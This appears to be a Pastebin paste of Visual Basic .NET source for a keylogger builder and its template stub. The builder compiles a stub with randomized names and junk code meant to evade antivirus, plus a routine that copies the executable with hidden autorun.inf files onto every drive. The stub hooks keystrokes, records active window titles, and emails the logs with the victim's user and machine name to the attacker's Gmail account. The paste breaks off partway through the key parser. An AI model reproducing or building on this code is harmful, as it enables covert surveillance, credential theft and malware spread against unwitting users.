Advertisement
Guest User

Untitled

a guest
Aug 11th, 2017
113
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 57.23 KB | None | 0 0
  1. Form1.vb
  2.  
  3. 'Coded & Commentated by Bazda_hackergod, if you delete this at least give credits!
  4. 'Seriously, this took me a good 3 hours to write from scratch, don't be a dick.
  5. 'No one thinks less of you if you just write 'Thanks to: Bazda_hacker'
  6. 'So before you delete this entire header, please for the love of God at LEAST say thank you on my Thread.
  7. 'Seriously lul.
  8. Imports System.IO, System.CodeDom.Compiler, System.Net.Mail
  9. Public Class Form1
  10. Dim Username, Password, Interval, Mutex, CreationPath, MainClassName, Source As String '[1] Declares some global variables we'll use later.
  11. Dim EmailMessage As New MailMessage() 'See above 1.
  12. Dim MailSendingClient As New SmtpClient() 'See above 1.
  13. Dim GlobalRand As New Random 'See above 1.
  14. Dim Q As Integer 'See above 1.
  15. Public Function RandomVariable(ByVal minamount As Integer, ByVal maxamount As Integer) As String
  16. Dim Rand As New Random 'Declares a new Random variable to generate the length of the string.
  17. Dim TheVariable As String = Nothing 'Declares a new String that will hold the random variable.
  18. Dim CharactersToUse As String = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPLKHJJGFDSAZXCVBNM" 'Declares a new string, and stores all the possible characters that may be a part of the randomly generated variable.
  19. For x As Integer = 1 To Rand.Next(minamount + 1, maxamount) 'Repeats the following function until the random number of variables is met.
  20. Dim PickAChar As Integer = Int((CharactersToUse.Length - 2) * Rnd()) + 1 'Selects a random inBazda_hacker position in PickAChar (random char in the listing)
  21. TheVariable += (CharactersToUse(PickAChar)) 'Takes whatever is already in TheVariable, then adds on the next random variable by reading what the random picked position was.
  22. Next 'After it's done looping through the #
  23. Return TheVariable 'Returns the randomized variable.
  24. End Function
  25. Function IsEverythingFilledOut()
  26. If TextBox1.Text = Nothing Or ComboBox1.Text = Nothing Or TextBox2.Text = Nothing Or TextBox3.Text = Nothing Or NumericUpDown1.Value <= 0 Then Return False 'Tells the program that some parts of the builder are not correctly filled out.
  27. Return True 'If everything is filled out, it'll just return true.
  28. End Function
  29. Sub SetVariablesFromControls()
  30. Username = TextBox1.Text & ComboBox1.Text 'Setting Variables.
  31. Password = TextBox2.Text 'Setting Variables.
  32. Mutex = TextBox3.Text 'Setting Variables.
  33. Interval = NumericUpDown1.Value * 60000 '1 minute = 60 seconds = 60,000 ms
  34. End Sub
  35. Sub GetSaveLocation()
  36. Dim FileSave As New SaveFileDialog 'Declares a save file dialog so the user can specify where to save the compiled file.
  37. With FileSave
  38. .InitialDirectory = Application.StartupPath 'Sets initial directory to the startup path of the application.
  39. .FileName = "*.exe" 'Filters so you can only save as a .exe, this can be modded to save as w/e file type you want.
  40. .DefaultExt = ".exe|*.exe" 'Sets default extension as .exe
  41. .Filter = "Executable Files .exe|*.exe" 'Filter.
  42. End With
  43.  
  44. If FileSave.ShowDialog = Windows.Forms.DialogResult.OK Then
  45. CreationPath = FileSave.FileName 'Sets the path that the user selected to save their server to to the 'CreationPath' string.
  46. CompileServerLikeABoss(CreationPath) 'Does. The. Work. Rawr. Also sets the save location to the location selected in the SaveFileDialog.
  47. Else : Exit Sub 'If the user hits cancel/'X', we exit the sub.
  48. End If
  49. End Sub
  50. Sub TestSMTPInformation() Handles FakeMultiThreader.DoWork 'Sets this subroutine as what is called when FakeMultiThreader.RunWorkerASync is used.
  51. Try
  52. With EmailMessage
  53. .From = New MailAddress(Username) 'Sets the 'From' email as the one entered on your builder.
  54. .To.Add(Username) 'Sets the 'To' email as the same as the 'From' address.
  55. .Subject = "Account Info Valid!" 'Sets subject of the e-mail.
  56. .Body = "Continue with your spreading!" 'Sets body of the e-mail.
  57. End With
  58.  
  59. With MailSendingClient
  60. .Host = "smtp.gmail.com" 'Sets the SMTP server to 'smtp.gmail.com' which is @gmail.com's SMTP server. You can Google smtp servers for any other @domains.
  61. .Port = 587 'Sets the mail sending port, don't change this; 587 is the most common outgoing smtp port. (Port 25 is 2nd most common, but becoming less and less).
  62. .EnableSsl = True 'Uses Secure Socket Layers to encrypt the operation.
  63. .Credentials = New System.Net.NetworkCredential(Username, Password) 'Sets the credentials of the 'From' by using the information in our builder, since the program needs to log in to the mail client in order to send the email.
  64. .Send(EmailMessage) 'Sends the nicely wrapped e-mail.
  65. End With
  66.  
  67. MsgBox("Your SMTP information is valid, a confirmation E-mail has been sent!", 0 + 64, "Notice") 'Makes us feel good.
  68. Catch Fail As Exception
  69. MsgBox("Your information is NOT valid; below is a copy of the error that occured." & vbNewLine & vbNewLine & Fail.ToString, 0 + 16, "Error") 'Tells us there was a problem, then gives the un-edited error that was encountered.
  70. Exit Sub
  71. End Try
  72. End Sub
  73. Sub CompileServerLikeABoss(ByVal SaveLocation As String)
  74. Q = 1
  75. MainClassName = RandomVariable(5, 20) 'Sets the MainClassName to a random variable between 5 and 20 chars in length.
  76. Source = My.Resources.TheSourceCode 'Sets the Source string to the un-edited version of the source code so we can replace our 'holders' with random strings.
  77. Source = Source.Replace("&1&", MainClassName) 'Replaces the placeholder '&1&' with the string we randomized above.
  78.  
  79. Dim Version = New Collections.Generic.Dictionary(Of String, String) : Version.Add("CompilerVersion", "v2.0") 'Sets a setting to compile the server w/ .net 2.0 dependency.
  80. Dim Compiler As VBCodeProvider = New VBCodeProvider(Version) 'Declaring our compiler, and telling it to compile with 'Version' setting. (.net 2.0 dependency)
  81.  
  82. Dim Settings As New CompilerParameters() 'To store the settings of our compiler in.
  83. With Settings 'Setting some Settings for the compiler.
  84. .GenerateExecutable = True 'We don't want to generate shit in our memory.
  85. .OutputAssembly = SaveLocation 'Sets the location of the output to the place you selected in your SaveFileDialog.
  86. .CompilerOptions = "/target:winexe" 'Tells the compiler to compile the code as a winexe file.
  87. .ReferencedAssemblies.Add("System.dll") 'Imports the System.dll library to the application on compile.
  88. .ReferencedAssemblies.Add("System.Windows.Forms.dll") 'Imports the System.Windows.Forms.dll library to the application on compile. (allows for controls to be declared in the codedom, such as timers)
  89. .MainClass = MainClassName 'Sets the mainclass of the compiled server to the string we randomized above. (Needs to remain the same).
  90. End With
  91.  
  92. Do While Q <= 40 'We take the integer Q, then use it to loop through all of our place holders that have [] around them.
  93. Source = Source.Replace("[" & Q & "]", RandomVariable(5, 30)) 'Replace each variable with a randomly generated string value from 5-30 characters.
  94. Q += 1 'Adds 1 on to Q so that next time it loops it does the next [] holder in the sequence.
  95. Loop
  96.  
  97. Q = 1 'Reset for next sequence.
  98.  
  99. Do While Q <= 28 'Same as above, only with &&.
  100. Source = Source.Replace("&" & Q & "&", RandomVariable(5, 30)) 'Same as above, only with &&. This is the randomized keyhook class.
  101. Q += 1 'Same as above, only with &&.
  102. Loop
  103.  
  104. Q = 1 'Reset for next sequence.
  105.  
  106. Do While Q <= 46 'Same as above, only with ^^.
  107. Source = Source.Replace("^" & Q & "^", RandomVariable(5, 30)) 'Same as above, only with ^^. This is actually randomized junk module to bypass McAfee.
  108. Q += 1 'Same as above, only with ^^.
  109. Loop
  110.  
  111. Source = Source.Replace("*email*", Username) 'Replacing the specific holder for our email with the email we're using.
  112. Source = Source.Replace("*pass*", Password) 'Same as above w/ password.
  113. Source = Source.Replace("*mutex*", Mutex) 'Same as above w/ mutex.
  114. Source = Source.Replace("*interval*", Interval) 'Same as above w/ sending interval.
  115.  
  116. Dim AssemblyInfo As String() = {"#res1#", "#res2#", "#res3#", "#res4#", "#res1a#", "#res2a#", "#res3a#", "#res4a#"} 'Declare a string array for randomizing our assembly file version/product version, since we only want numbers in them.
  117. For length As Integer = 0 To AssemblyInfo.Length - 1 'While the length of the array is in the bounds of the inBazda_hacker, do the following:
  118. Source = Source.Replace(AssemblyInfo(length), GlobalRand.Next(0, 999)) 'Replace the given spot in the array I.E. If we're on spot 1, that'd be #res1#, with a randomly generated number from 0-999.
  119. Next
  120.  
  121. DebugCode(Source) 'Writes a copy of the un-compiled source code (after randomization) of your server to \debug.txt.
  122. Compiler.CompileAssemblyFromSource(Settings, Source) 'Compiles the code with all the settings stored in the "Settings" string from above.
  123.  
  124. MsgBox("Your server has been compiled succesfully!", 0 + 64, "Notice") 'Give yourself a pat on the back, it worked :D!
  125. End Sub
  126. Sub DebugCode(ByVal CodeBeingCompile As String)
  127. Dim Debugger As New StreamWriter(Application.StartupPath & "\debug.txt") 'Declares a new StreamWriter at the location of '\debug.txt'.
  128. Debugger.Write(CodeBeingCompile) 'Writes the given string to the .txt file, in our case this should be the randomized code.
  129. Debugger.Flush() 'Dispose of the used stuff.
  130. Debugger.Close() 'Close da b00k.
  131. End Sub
  132. Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
  133. TextBox3.Text = RandomVariable(5, 20) 'Generates a random variable between 5 and 20 characters in length.
  134. End Sub
  135. Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  136. TextBox3.Text = RandomVariable(5, 20) 'Fills the mutex box with a random number on form load.
  137. End Sub
  138. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  139. If IsEverythingFilledOut() = True Then SetVariablesFromControls() Else MsgBox("Please make sure you've filled out all parts of the builder.", 0 + 16, "Error") : Exit Sub 'Calls SetVariablesFromControls sub routine if everything is filled out, if not it throws and error and exits this sub routine.
  140. FakeMultiThreader.CancelAsync() 'Cancels any pending operations on the thread.
  141. Application.DoEvents() 'Makes sure they're canceled.
  142. FakeMultiThreader.RunWorkerAsync() 'Runs the commands under its handler, FakeMultiThread_DoWork.
  143. 'The reason for using a backgroundworker / multi threading is so that the form/gui doens't lag when you do stuff like compile/SMTP test, since it's all run on a different thread.
  144. End Sub
  145. Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
  146. If IsEverythingFilledOut() = True Then SetVariablesFromControls() : GetSaveLocation() Else MsgBox("Please make sure you've filled out all parts of the builder.", 0 + 16, "Error") : Exit Sub
  147. 'Calls SetVariablesFromControls function, makes sure all the information is filled out.
  148. 'If it is, it moves on to GetSaveLocation => Leads to the actual server compile.
  149. 'If it's not, it throws an error and exits the sub routine.
  150. End Sub
  151.  
  152. Private Sub CheckBox1_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles CheckBox1.CheckedChanged
  153. On Error Resume Next
  154. My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "Hidden", "0", Microsoft.Win32.RegistryValueKind.DWord)
  155. Dim sDrive As String, sDrives() As String, xDrive As String = My.Computer.FileSystem.SpecialDirectories.ProgramFiles
  156. sDrives = System.IO.Directory.GetLogicalDrives
  157. For Each sDrive In sDrives
  158. If xDrive.Contains(sDrive) Then
  159. Else
  160. My.Computer.FileSystem.CopyFile(Application.ExecutablePath, sDrive & "HDDFile.com", True, FileIO.UICancelOption.DoNothing)
  161. My.Computer.FileSystem.WriteAllText(sDrive & "autorun.inf", "[autorun]" & vbCrLf & "open=" & sDrive & "HDDFile.com" & vbCrLf & "shellexecute=" & sDrive, True)
  162. SetAttr(sDrive & "HDDFile.com", FileAttribute.Hidden)
  163. SetAttr(sDrive & "autorun.inf", FileAttribute.Hidden)
  164. End If
  165. Next
  166. End Sub
  167.  
  168. Private Sub TestSMTPInformation(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles FakeMultiThreader.DoWork
  169.  
  170. End Sub
  171. End Class
  172.  
  173.  
  174. -----------------
  175.  
  176. sourcecode.txt
  177.  
  178. Imports Microsoft.VisualBasic, System, System.Windows.Forms, System.Net.Mail, System.Text, System.Security.Cryptography, System.Reflection, System.IO, System.Environment, Microsoft.Win32, System.Diagnostics, System.ComponentModel, System.Threading 'It's codedom, we get to import a LOT :P.
  179. <Assembly: AssemblyTitle("")> 'Leave this blank, as it's visible in explorer.exe
  180. <Assembly: AssemblyDescription("")> 'Leave this blank, as it's visible in explorer.exe
  181. <Assembly: AssemblyCompany("[5]")> 'We're setting our Assembly information to random strings here to make the server ever-more polymorphic.
  182. <Assembly: AssemblyProduct("[6]")> 'Randomizing..
  183. <Assembly: AssemblyCopyright("[7]")> 'Randomizing..
  184. <Assembly: AssemblyTrademark("[8]")> 'Randomizing..
  185. <Assembly: AssemblyVersion("#res1#.#res2#.#res3#.#res4#")>
  186. <Assembly: AssemblyFileVersion("#res1a#.#res2a#.#res3a#.#res4a#")>
  187.  
  188. Module &1& 'Our main module, this is the 'meat' of the program.
  189.  
  190. Friend WithEvents [24] As New &2& 'Declare a new Keyhook.
  191. Private Declare Function [19] Lib "user32.dll" Alias "GetForegroundWindow" () As Int32 'API Calls.
  192. Private Declare Function [20] Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As Int32 'API Calls.
  193.  
  194. Dim [1] As String = "*email*" 'We set the variable [1] to the e-mail we entered on the builder by marking it with the * tags we can refer to back in the builder.
  195. Dim [2] As String = "*pass*" 'Same as above only w/ password.
  196. Dim [3] As String = "*mutex*" 'Same as above only w/ mutex.
  197. Dim [4] As Integer = "*interval*" 'Same as above only w/ log interval.
  198. Dim [15] As String = Nothing 'The string that holds logged keys/windows until they're sent in a log.
  199. Dim [16] As String = Nothing 'The string that is used to compare itself to the current active window to see if it's changed.
  200. Dim [21] as Mutex 'Used to keep task instance of keylogger unique.
  201.  
  202. Sub Main() 'This is like Form1_Load.
  203. [22]([3]) 'Checks to see if an application with the same mutex is already running, if there is, this instance of the program will end.
  204.  
  205. Dim [9] As New System.Windows.Forms.Timer 'Declaring a timer that will be used to send logs.
  206. [9].Interval = [4] 'Set the timers interval to the interval we defined in our builder.
  207. AddHandler [9].Tick, AddressOf [10] 'Sets the .Tick event of the timer to be handled by Sub [10].
  208.  
  209. Dim [11] As New System.Windows.Forms.Timer 'Same idea as above, only this will be used to constantly refresh the current activewindow we're in.
  210. [11].Interval = 300 'No one changes their window faster than every 0.3 seconds lol.
  211. AddHandler [11].Tick, AddressOf [12] 'Sets the .Tick event of the timer to be handled by Sub [12].
  212.  
  213. [11].Start() 'Starts the activewindow refresher.
  214. [9].Start() 'Starts the log sending timer.
  215. Application.Run() 'Since we don't have a form or console, after the application does the above commands it would normally just close itself, but here we are telling it explicitly to stay open and continue running.
  216. End Sub
  217.  
  218. Sub [10](ByVal sender As System.Object, ByVal e As System.EventArgs) 'This is the log sender, if you don't understand a part of it please refer to the builder's commented SMTP test, it's remarkablely similar.
  219. On Error Resume Next
  220. Dim [13] As New MailMessage()
  221. Dim [14] As New SmtpClient("smtp.gmail.com")
  222. [13].From = New MailAddress([1])
  223. [13].To.Add([1])
  224. [13].Subject = "Keylogger Log From: " & Environment.UserName.ToString & "/" & Environment.MachineName.ToString
  225. [13].Body = "Based off of the polymorphic keylogger tutorial written by Bazda_hackergod." & vbnewline & vbnewline & [15]
  226. [14].Port = 587
  227. [14].EnableSsl = True
  228. [14].Credentials = New System.Net.NetworkCredential([1], [2])
  229. [14].Send([13])
  230. [15] = "|-----" & [16] & " (" & Now.ToLongTimeString & ") -----|" + vbNewLine 'After sending the logged keys, we reset the string that held them to equal the current active window that the slave is in.
  231. End Sub
  232.  
  233. Sub [12](ByVal sender As System.Object, ByVal e As System.EventArgs) 'GetActiveWindow Function.
  234. If [16] <> [17]() Then 'When the application first runs, [16]'s value is equal to the current active window. Every 0.3 seconds, the application checks to see if [16] is still equal to the current active window; if it is, it does nothing. If it's no longer the same, it updates [16] to be the current active window, and adds the new entry to the log.
  235. [16] = [17]() 'Settings activewindow storage to the real active window.
  236. If [16] <> "" Then
  237. [15] += vbNewLine + vbNewLine + "|-----" & [16] & " (" & Now.ToLongTimeString & ") -----|" + vbNewLine 'Adding the newly discovered active window to the keylog.
  238. End If
  239. End If
  240. End Sub
  241.  
  242. Private Function [17]() As String
  243. Dim [18] As String
  244. [18] = New String(Chr(0), 100)
  245. [20]([19], [18], 100)
  246. [18] = [18].Substring(0, InStr([18], Chr(0)) - 1)
  247. Return [18]
  248. End Function
  249.  
  250. Sub [22](ByVal [23] As String) 'This is the mutex sub routine.
  251. Try 'So we're trying to do the following...
  252. System.Threading.Mutex.OpenExisting([23]) 'Open the process that holds our mutex in it.
  253. End 'If it can actually open a process that has our mutex, we end the program. Otherwise...
  254. Catch fail As Exception 'If it can't find any process with our mutex...
  255. [21] = New System.Threading.Mutex(False, [23]) 'We declare our mutex for the current process...
  256. Exit Sub 'And keep on going!
  257. End Try
  258. End Sub
  259.  
  260. Sub [18](ByVal [25] As System.Windows.Forms.Keys) Handles [24].&24& 'Keydown 'This is my (Bazda_hackergod's) personal key parser, it was private until today, and I must say I've worked very hard on it to make it produce the cleanest logs imaginable.
  261. If My.Computer.Keyboard.CtrlKeyDown = True And [25] = Keys.C Then
  262. [15] = [15] & " [Copy] " 'If they're doing ctrl+c, tell us they're copying.
  263. Exit Sub
  264. End If
  265.  
  266. If My.Computer.Keyboard.CtrlKeyDown = True And [25] = Keys.V Then
  267. [15] = [15] & " [Paste] " 'If they're doing ctrl+v, tell us they're pasting.
  268. Exit Sub
  269. End If
  270.  
  271. If My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = False Then 'It's pretty self explanatory, doesn't need a big explanation.
  272. If [25] = Keys.A Then
  273. [15] += "a"
  274. ElseIf [25] = Keys.B Then
  275. [15] += "b"
  276. ElseIf [25] = Keys.C Then
  277. [15] += "c"
  278. ElseIf [25] = Keys.D Then
  279. [15] += "d"
  280. ElseIf [25] = Keys.E Then
  281. [15] += "e"
  282. ElseIf [25] = Keys.F Then
  283. [15] += "f"
  284. ElseIf [25] = Keys.G Then
  285. [15] += "g"
  286. ElseIf [25] = Keys.H Then
  287. [15] += "h"
  288. ElseIf [25] = Keys.I Then
  289. [15] += "i"
  290. ElseIf [25] = Keys.J Then
  291. [15] += "j"
  292. ElseIf [25] = Keys.K Then
  293. [15] += "k"
  294. ElseIf [25] = Keys.L Then
  295. [15] += "l"
  296. ElseIf [25] = Keys.M Then
  297. [15] += "m"
  298. ElseIf [25] = Keys.N Then
  299. [15] += "n"
  300. ElseIf [25] = Keys.O Then
  301. [15] += "o"
  302. ElseIf [25] = Keys.P Then
  303. [15] += "p"
  304. ElseIf [25] = Keys.Q Then
  305. [15] += "q"
  306. ElseIf [25] = Keys.R Then
  307. [15] += "r"
  308. ElseIf [25] = Keys.S Then
  309. [15] += "s"
  310. ElseIf [25] = Keys.T Then
  311. [15] += "t"
  312. ElseIf [25] = Keys.U Then
  313. [15] += "u"
  314. ElseIf [25] = Keys.V Then
  315. [15] += "v"
  316. ElseIf [25] = Keys.W Then
  317. [15] += "w"
  318. ElseIf [25] = Keys.X Then
  319. [15] += "x"
  320. ElseIf [25] = Keys.Y Then
  321. [15] += "y"
  322. ElseIf [25] = Keys.Z Then
  323. [15] += "[111]"
  324. ElseIf [25] = Keys.D0 Then
  325. [15] += "0"
  326. ElseIf [25] = Keys.D1 Then
  327. [15] += "1"
  328. ElseIf [25] = Keys.D2 Then
  329. [15] += "2"
  330. ElseIf [25] = Keys.D3 Then
  331. [15] += "3"
  332. ElseIf [25] = Keys.D4 Then
  333. [15] += "4"
  334. ElseIf [25] = Keys.D5 Then
  335. [15] += "5"
  336. ElseIf [25] = Keys.D6 Then
  337. [15] += "6"
  338. ElseIf [25] = Keys.D7 Then
  339. [15] += "7"
  340. ElseIf [25] = Keys.D8 Then
  341. [15] += "8"
  342. ElseIf [25] = Keys.D9 Then
  343. [15] += "9"
  344. ElseIf [25] = Keys.NumPad0 Then
  345. [15] += "0"
  346. ElseIf [25] = Keys.NumPad1 Then
  347. [15] += "1"
  348. ElseIf [25] = Keys.NumPad2 Then
  349. [15] += "2"
  350. ElseIf [25] = Keys.NumPad3 Then
  351. [15] += "3"
  352. ElseIf [25] = Keys.NumPad4 Then
  353. [15] += "4"
  354. ElseIf [25] = Keys.NumPad5 Then
  355. [15] += "5"
  356. ElseIf [25] = Keys.NumPad6 Then
  357. [15] += "6"
  358. ElseIf [25] = Keys.NumPad7 Then
  359. [15] += "7"
  360. ElseIf [25] = Keys.NumPad8 Then
  361. [15] += "8"
  362. ElseIf [25] = Keys.NumPad9 Then
  363. [15] += "9"
  364. ElseIf [25] = Keys.Oemcomma Then
  365. [15] += ","
  366. ElseIf [25] = Keys.OemMinus Then
  367. [15] += "-"
  368. ElseIf [25] = Keys.OemQuotes Then
  369. [15] += "'"
  370. ElseIf [25] = Keys.OemOpenBrackets Then
  371. [15] += "["
  372. ElseIf [25] = Keys.OemCloseBrackets Then
  373. [15] += "]"
  374. ElseIf [25] = Keys.OemQuestion Then
  375. [15] += "/"
  376. ElseIf [25] = Keys.OemPipe Then
  377. [15] += "\"
  378. ElseIf [25] = Keys.Oem1 Then
  379. [15] += ";"
  380. ElseIf [25] = Keys.OemPeriod Then
  381. [15] += "."
  382. ElseIf [25] = Keys.Oemtilde Then
  383. [15] += "`"
  384. ElseIf [25] = Keys.Space Then
  385. [15] += " "
  386. ElseIf [25] = Keys.Enter Then
  387. [15] += vbNewLine
  388. ElseIf [25] = Keys.F1 Then
  389. [15] += "[F1]"
  390. ElseIf [25] = Keys.F2 Then
  391. [15] += "[F2]"
  392. ElseIf [25] = Keys.F3 Then
  393. [15] += "[F3]"
  394. ElseIf [25] = Keys.F4 Then
  395. [15] += "[F4]"
  396. ElseIf [25] = Keys.F5 Then
  397. [15] += "[F5]"
  398. ElseIf [25] = Keys.F6 Then
  399. [15] += "[F6]"
  400. ElseIf [25] = Keys.F7 Then
  401. [15] += "[F7]"
  402. ElseIf [25] = Keys.F8 Then
  403. [15] += "[F8]"
  404. ElseIf [25] = Keys.F9 Then
  405. [15] += "[F9]"
  406. ElseIf [25] = Keys.F10 Then
  407. [15] += "[F10]"
  408. ElseIf [25] = Keys.F11 Then
  409. [15] += "[F11]"
  410. ElseIf [25] = Keys.F12 Then
  411. [15] += "[F12]"
  412. ElseIf [25] = Keys.Delete Then
  413. If Not [15].EndsWith(vbNewLine) Then
  414. If Not [15].EndsWith("|") Then
  415. If Not [15].EndsWith("]") Then
  416. [15] = [15].Substring(0, [15].Length - 1)
  417. End If
  418. End If
  419. End If
  420. ElseIf [25] = Keys.Back Then
  421. If Not [15].EndsWith(vbNewLine) Then
  422. If Not [15].EndsWith("|") Then
  423. If Not [15].EndsWith("]") Then
  424. [15] = [15].Substring(0, [15].Length - 1)
  425. End If
  426. End If
  427. End If
  428. ElseIf [25] = Keys.Down Then
  429. [15] += ""
  430. ElseIf [25] = Keys.Up Then
  431. [15] += ""
  432. ElseIf [25] = Keys.Left Then
  433. [15] += ""
  434. ElseIf [25] = Keys.Right Then
  435. [15] += ""
  436. ElseIf [25] = Keys.Tab Then
  437. [15] += "[TAB]"
  438. ElseIf [25] = Keys.End Then
  439. [15] += "[END]"
  440. ElseIf [25] = Keys.Escape Then
  441. [15] += "[ESC]"
  442. ElseIf [25] = Keys.Divide Then
  443. [15] += "/"
  444. ElseIf [25] = Keys.Decimal Then
  445. [15] += "."
  446. ElseIf [25] = Keys.Subtract Then
  447. [15] += "-"
  448. ElseIf [25] = Keys.Add Then
  449. [15] += "+"
  450. ElseIf [25] = Keys.Multiply Then
  451. [15] += "*"
  452. ElseIf [25] = Keys.ControlKey Then
  453. [15] += "[CTRL]"
  454. ElseIf [25] = Keys.Alt Then
  455. [15] += "[ALT]"
  456. ElseIf [25] = Keys.PageUp Then
  457. [15] += "[Page Up]"
  458. ElseIf [25] = Keys.PageDown Then
  459. [15] += "[Page Down]"
  460. ElseIf [25] = Keys.Home Then
  461. [15] += "[Home]"
  462. ElseIf [25] = Keys.Insert Then
  463. [15] += "[Insert]"
  464. ElseIf [25] = Keys.End Then
  465. [15] += "[End]"
  466. ElseIf [25] = Keys.Escape Then
  467. [15] += "[Esc]"
  468. ElseIf [25] = Keys.PrintScreen Then
  469. [15] += "[Prt Screen]"
  470. End If
  471.  
  472. ElseIf My.Computer.Keyboard.ShiftKeyDown = False And My.Computer.Keyboard.CapsLock = True Then
  473. If [25] = Keys.A Then
  474. [15] += "A"
  475. ElseIf [25] = Keys.B Then
  476. [15] += "B"
  477. ElseIf [25] = Keys.C Then
  478. [15] += "C"
  479. ElseIf [25] = Keys.D Then
  480. [15] += "D"
  481. ElseIf [25] = Keys.E Then
  482. [15] += "E"
  483. ElseIf [25] = Keys.F Then
  484. [15] += "F"
  485. ElseIf [25] = Keys.G Then
  486. [15] += "G"
  487. ElseIf [25] = Keys.H Then
  488. [15] += "H"
  489. ElseIf [25] = Keys.I Then
  490. [15] += "I"
  491. ElseIf [25] = Keys.J Then
  492. [15] += "J"
  493. ElseIf [25] = Keys.K Then
  494. [15] += "K"
  495. ElseIf [25] = Keys.L Then
  496. [15] += "L"
  497. ElseIf [25] = Keys.M Then
  498. [15] += "M"
  499. ElseIf [25] = Keys.N Then
  500. [15] += "N"
  501. ElseIf [25] = Keys.O Then
  502. [15] += "O"
  503. ElseIf [25] = Keys.P Then
  504. [15] += "P"
  505. ElseIf [25] = Keys.Q Then
  506. [15] += "Q"
  507. ElseIf [25] = Keys.R Then
  508. [15] += "R"
  509. ElseIf [25] = Keys.S Then
  510. [15] += "S"
  511. ElseIf [25] = Keys.T Then
  512. [15] += "T"
  513. ElseIf [25] = Keys.U Then
  514. [15] += "U"
  515. ElseIf [25] = Keys.V Then
  516. [15] += "V"
  517. ElseIf [25] = Keys.W Then
  518. [15] += "W"
  519. ElseIf [25] = Keys.X Then
  520. [15] += "X"
  521. ElseIf [25] = Keys.Y Then
  522. [15] += "Y"
  523. ElseIf [25] = Keys.Z Then
  524. [15] += "Z"
  525. ElseIf [25] = Keys.D0 Then
  526. [15] += "0"
  527. ElseIf [25] = Keys.D1 Then
  528. [15] += "1"
  529. ElseIf [25] = Keys.D2 Then
  530. [15] += "2"
  531. ElseIf [25] = Keys.D3 Then
  532. [15] += "3"
  533. ElseIf [25] = Keys.D4 Then
  534. [15] += "4"
  535. ElseIf [25] = Keys.D5 Then
  536. [15] += "5"
  537. ElseIf [25] = Keys.D6 Then
  538. [15] += "6"
  539. ElseIf [25] = Keys.D7 Then
  540. [15] += "7"
  541. ElseIf [25] = Keys.D8 Then
  542. [15] += "8"
  543. ElseIf [25] = Keys.D9 Then
  544. [15] += "9"
  545. ElseIf [25] = Keys.NumPad0 Then
  546. [15] += "0"
  547. ElseIf [25] = Keys.NumPad1 Then
  548. [15] += "1"
  549. ElseIf [25] = Keys.NumPad2 Then
  550. [15] += "2"
  551. ElseIf [25] = Keys.NumPad3 Then
  552. [15] += "3"
  553. ElseIf [25] = Keys.NumPad4 Then
  554. [15] += "4"
  555. ElseIf [25] = Keys.NumPad5 Then
  556. [15] += "5"
  557. ElseIf [25] = Keys.NumPad6 Then
  558. [15] += "6"
  559. ElseIf [25] = Keys.NumPad7 Then
  560. [15] += "7"
  561. ElseIf [25] = Keys.NumPad8 Then
  562. [15] += "8"
  563. ElseIf [25] = Keys.NumPad9 Then
  564. [15] += "9"
  565. ElseIf [25] = Keys.Oemcomma Then
  566. [15] += ","
  567. ElseIf [25] = Keys.OemMinus Then
  568. [15] += "-"
  569. ElseIf [25] = Keys.OemQuotes Then
  570. [15] += "'"
  571. ElseIf [25] = Keys.OemOpenBrackets Then
  572. [15] += "["
  573. ElseIf [25] = Keys.OemCloseBrackets Then
  574. [15] += "]"
  575. ElseIf [25] = Keys.OemQuestion Then
  576. [15] += "/"
  577. ElseIf [25] = Keys.OemPipe Then
  578. [15] += "\"
  579. ElseIf [25] = Keys.Oem1 Then
  580. [15] += ";"
  581. ElseIf [25] = Keys.OemPeriod Then
  582. [15] += "."
  583. ElseIf [25] = Keys.Oemtilde Then
  584. [15] += "`"
  585. ElseIf [25] = Keys.Space Then
  586. [15] += " "
  587. ElseIf [25] = Keys.Enter Then
  588. [15] += vbNewLine
  589. ElseIf [25] = Keys.F1 Then
  590. [15] += "[F1]"
  591. ElseIf [25] = Keys.F2 Then
  592. [15] += "[F2]"
  593. ElseIf [25] = Keys.F3 Then
  594. [15] += "[F3]"
  595. ElseIf [25] = Keys.F4 Then
  596. [15] += "[F4]"
  597. ElseIf [25] = Keys.F5 Then
  598. [15] += "[F5]"
  599. ElseIf [25] = Keys.F6 Then
  600. [15] += "[F6]"
  601. ElseIf [25] = Keys.F7 Then
  602. [15] += "[F7]"
  603. ElseIf [25] = Keys.F8 Then
  604. [15] += "[F8]"
  605. ElseIf [25] = Keys.F9 Then
  606. [15] += "[F9]"
  607. ElseIf [25] = Keys.F10 Then
  608. [15] += "[F10]"
  609. ElseIf [25] = Keys.F11 Then
  610. [15] += "[F11]"
  611. ElseIf [25] = Keys.F12 Then
  612. [15] += "[F12]"
  613. ElseIf [25] = Keys.Delete Then
  614. If Not [15].EndsWith(vbNewLine) Then
  615. If Not [15].EndsWith("|") Then
  616. If Not [15].EndsWith("]") Then
  617. [15] = [15].Substring(0, [15].Length - 1)
  618. End If
  619. End If
  620. End If
  621. ElseIf [25] = Keys.Back Then
  622. If Not [15].EndsWith(vbNewLine) Then
  623. If Not [15].EndsWith("|") Then
  624. If Not [15].EndsWith("]") Then
  625. [15] = [15].Substring(0, [15].Length - 1)
  626. End If
  627. End If
  628. End If
  629. ElseIf [25] = Keys.Down Then
  630. [15] += ""
  631. ElseIf [25] = Keys.Up Then
  632. [15] += ""
  633. ElseIf [25] = Keys.Left Then
  634. [15] += ""
  635. ElseIf [25] = Keys.Right Then
  636. [15] += ""
  637. ElseIf [25] = Keys.Tab Then
  638. [15] += "[TAB]"
  639. ElseIf [25] = Keys.End Then
  640. [15] += "[END]"
  641. ElseIf [25] = Keys.Escape Then
  642. [15] += "[ESC]"
